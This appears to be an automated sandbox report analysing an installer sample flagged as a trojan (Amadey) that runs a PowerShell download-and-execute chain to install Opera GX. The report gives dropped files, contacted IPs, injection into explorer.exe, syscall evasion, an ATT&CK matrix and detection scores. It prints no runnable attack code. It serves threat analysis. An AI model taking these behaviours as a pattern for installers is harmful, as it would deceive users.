      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Medium.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Medium.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-MediumItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-MediumItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7821018712474994_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\daily_wallpapers.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\daily_wallpapers.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\daily_wallpapers.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\daily_wallpapers.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\59a506d7b4a7496f_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8feeff9db15cf3b0_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8397f4d70f2f8ed1_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7bf3e1a3d8dd777e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\59a506d7b4a7496f_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f38c3e79d53301c9_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\6473f55eaa1e3a5b_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3aca1ec21ff32059_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4fec6cc64adc608a_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4c8c8f7789591860_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8feeff9db15cf3b0_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8397f4d70f2f8ed1_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a0eade5135e046a7_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4c8c8f7789591860_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a0eade5135e046a7_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\17466bc75ea3fb4e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\503dc3becfd9d2a7_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0c71c0b1d9fef73e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\01b51a9334a8b4e1_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\17466bc75ea3fb4e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\503dc3becfd9d2a7_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0c71c0b1d9fef73e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0f0b7a533d5343e4_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\01b51a9334a8b4e1_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0f0b7a533d5343e4_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a2dff4f1fb695978_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0a88619df46d5443_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3d19a0f089c1f321_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4540d3f93cc88bd8_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\469254544b8b2845_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\3fbc5b0d8e426b92_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ThinItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f5483e8983f75974_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\1ff9a2e5ad1461fa_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\65af9332f2b5bc27_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f941cf55c497bbc9_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f941cf55c497bbc9_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7821018712474994_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7bf3e1a3d8dd777e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7821018712474994_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\59a506d7b4a7496f_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f38c3e79d53301c9_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8feeff9db15cf3b0_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\8397f4d70f2f8ed1_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\d72f2562c3f3b91d_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\4c8c8f7789591860_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\58a55ac4a97dc034_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\7bf3e1a3d8dd777e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f38c3e79d53301c9_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\a0eade5135e046a7_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\17466bc75ea3fb4e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\503dc3becfd9d2a7_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0c71c0b1d9fef73e_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\ed30c63ad0121696_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\01b51a9334a8b4e1_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0f0b7a533d5343e4_0 VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007ACB18 GetVersion,CreateNamedPipeW,20_2_007ACB18
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeCode function: 10_2_005FCFE2 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,10_2_005FCFE2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00710746 GetUserNameW,GetNamedSecurityInfoW,GetNamedSecurityInfoW,GetExplicitEntriesFromAclW,CheckTokenMembership,BuildExplicitAccessWithNameW,SetEntriesInAclW,SetEntriesInAclW,LocalFree,LocalFree,LocalFree,LocalFree,SetNamedSecurityInfoW,SetNamedSecurityInfoW,LocalFree,LocalFree,20_2_00710746
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0083F7E2 GetTimeZoneInformation,21_2_0083F7E2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00405750 ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,_wtol,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,19_2_00405750
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 BlobJump to behavior

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      1
      Software      		1
      Scripting      		1
      Valid Accounts      		31
      Windows Management Instrumentation      		1
      Scripting      		1
      Abuse Elevation Control Mechanism      		2
      Disable or Modify Tools      		1
      Credential API Hooking      		2
      System Time Discovery      		Remote Services11
      Archive Collected Data      		1
      Encrypted Channel      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault Accounts3
      Native API      		1
      DLL Side-Loading      		1
      DLL Side-Loading      		1
      Deobfuscate/Decode Files or Information      		11
      Input Capture      		1
      Account Discovery      		Remote Desktop Protocol1
      Credential API Hooking      		Junk DataExfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain Accounts12
      Command and Scripting Interpreter      		1
      Valid Accounts      		1
      Valid Accounts      		1
      Abuse Elevation Control Mechanism      		Security Account Manager3
      File and Directory Discovery      		SMB/Windows Admin Shares11
      Input Capture      		SteganographyAutomated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal Accounts2
      PowerShell      		1
      Windows Service      		11
      Access Token Manipulation      		2
      Obfuscated Files or Information      		NTDS87
      System Information Discovery      		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchd1
      Registry Run Keys / Startup Folder      		1
      Windows Service      		1
      Timestomp      		LSA Secrets1
      Query Registry      		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts13
      Process Injection      		1
      DLL Side-Loading      		Cached Domain Credentials41
      Security Software Discovery      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items1
      Registry Run Keys / Startup Folder      		11
      Masquerading      		DCSync2
      Process Discovery      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
      Valid Accounts      		Proc Filesystem41
      Virtualization/Sandbox Evasion      		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
      Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
      Modify Registry      		/etc/passwd and /etc/shadow1
      Application Window Discovery      		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
      IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron41
      Virtualization/Sandbox Evasion      		Network Sniffing3
      System Owner/User Discovery      		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
      Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd11
      Access Token Manipulation      		Input Capture1
      Remote System Discovery      		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
      Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task13
      Process Injection      		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 1532467 Sample: SecuriteInfo.com.FileRepMal... Startdate: 13/10/2024 Architecture: WINDOWS Score: 84 142 Multi AV Scanner detection for submitted file 2->142 144 Yara detected Powershell download and execute 2->144 146 Machine Learning detection for sample 2->146 148 2 other signatures 2->148 14 SecuriteInfo.com.FileRepMalware.27261.32754.exe 2 2->14         started        17 opera_autoupdate.exe 2->17         started        process3 dnsIp4 116 SecuriteInfo.com.F...are.27261.32754.tmp, PE32 14->116 dropped 20 SecuriteInfo.com.FileRepMalware.27261.32754.tmp 3 20 14->20         started        124 82.145.216.20 NO-OPERANO United Kingdom 17->124 126 127.0.0.1 unknown unknown 17->126 118 C:\Users\user\AppData\Local\...\installer.exe, PE32+ 17->118 dropped 24 opera_autoupdate.exe 17->24         started        file5 process6 dnsIp7 128 188.114.96.3 CLOUDFLARENETUS European Union 20->128 86 C:\Users\user\AppData\Local\Temp\...\idp.dll, PE32 20->86 dropped 88 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 20->88 dropped 26 cmd.exe 2 20->26         started        file8 process9 signatures10 152 Suspicious powershell command line found 26->152 29 powershell.exe 15 22 26->29         started        34 conhost.exe 26->34         started        process11 dnsIp12 136 185.26.182.112 NO-OPERANO Norway 29->136 138 23.106.59.18 LEASEWEB-UK-LON-11GB United Kingdom 29->138 140 2 other IPs or domains 29->140 120 C:\Users\user\AppData\Local\Temp\...\f_2.exe, PE32 29->120 dropped 122 C:\Users\user\AppData\Local\Temp\...\f_1.exe, PE32 29->122 dropped 156 Powershell drops PE file 29->156 36 f_1.exe 2 29->36         started        file13 signatures14 process15 file16 74 C:\Users\user\AppData\Local\...\setup.exe, PE32 36->74 dropped 39 setup.exe 47 36->39         started        process17 dnsIp18 130 185.26.182.111 NO-OPERANO Norway 39->130 132 185.26.182.117 NO-OPERANO Norway 39->132 134 8 other IPs or domains 39->134 90 Opera_GX_assistant....exe_sfx.exe (copy), PE32 39->90 dropped 92 Opera_installer_2410130831026207884.dll, PE32 39->92 dropped 94 C:\Users\user\AppData\Local\...\setup.exe, PE32 39->94 dropped 96 4 other files (none is malicious) 39->96 dropped 43 setup.exe 1 178 39->43         started        46 Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe 5 39->46         started        48 setup.exe 5 39->48         started        50 2 other processes 39->50 file19 process20 file21 98 C:\Users\user\AppData\Local\...\installer.exe, PE32+ 43->98 dropped 100 Opera_installer_2410130831047078088.dll, PE32 43->100 dropped 102 C:\Users\user\AppData\...\win8_importing.dll, PE32+ 43->102 dropped 114 20 other files (none is malicious) 43->114 dropped 52 installer.exe 43->52         started        56 setup.exe 4 43->56         started        104 C:\Users\user\AppData\Local\...\mojo_core.dll, PE32 46->104 dropped 106 C:\Users\user\...\browser_assistant.exe, PE32 46->106 dropped 108 C:\Users\user\...\assistant_installer.exe, PE32 46->108 dropped 110 Opera_installer_2410130831030207920.dll, PE32 48->110 dropped 112 Opera_installer_2410130831037218040.dll, PE32 50->112 dropped 58 assistant_installer.exe 2 50->58         started        process22 file23 76 Opera_installer_2410130833545532052.dll, PE32+ 52->76 dropped 78 C:\Users\user\AppData\Local\...\opera.exe, PE32+ 52->78 dropped 80 C:\Users\user\...\opera_autoupdate.exe, PE32+ 52->80 dropped 84 2 other files (none is malicious) 52->84 dropped 150 Installs a global event hook (focus changed) 52->150 60 MfpbxBQuepbP.exe 52->60 injected 63 explorer.exe 52->63 injected 65 installer.exe 52->65         started        68 10 other processes 52->68 82 Opera_installer_2410130831051178136.dll, PE32 56->82 dropped signatures24 process25 file26 154 Found direct / indirect Syscall (likely to bypass EDR) 60->154 72 Opera_installer_2410130833548756616.dll, PE32+ 65->72 dropped 70 opera_crashreporter.exe 68->70         started        signatures27 process28

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      SecuriteInfo.com.FileRepMalware.27261.32754.exe53%VirustotalBrowse
      SecuriteInfo.com.FileRepMalware.27261.32754.exe42%ReversingLabsWin32.Trojan.Amadey
      SecuriteInfo.com.FileRepMalware.27261.32754.exe100%Joe Sandbox ML

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe (copy)0%ReversingLabs
      C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe (copy)2%VirustotalBrowse
      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Opera_GX_assistant_73.0.3856.382_Setup[1].exe0%ReversingLabs
      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Opera_GX_assistant_73.0.3856.382_Setup[1].exe2%VirustotalBrowse
      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Opera_GX_114.0.5282.93_Autoupdate_x64[1].exe0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\CUESDK.x64_2017.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\CUESDK.x64_2017.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\assistant_package0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\assistant_package0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\d3dcompiler_47.dll0%ReversingLabs
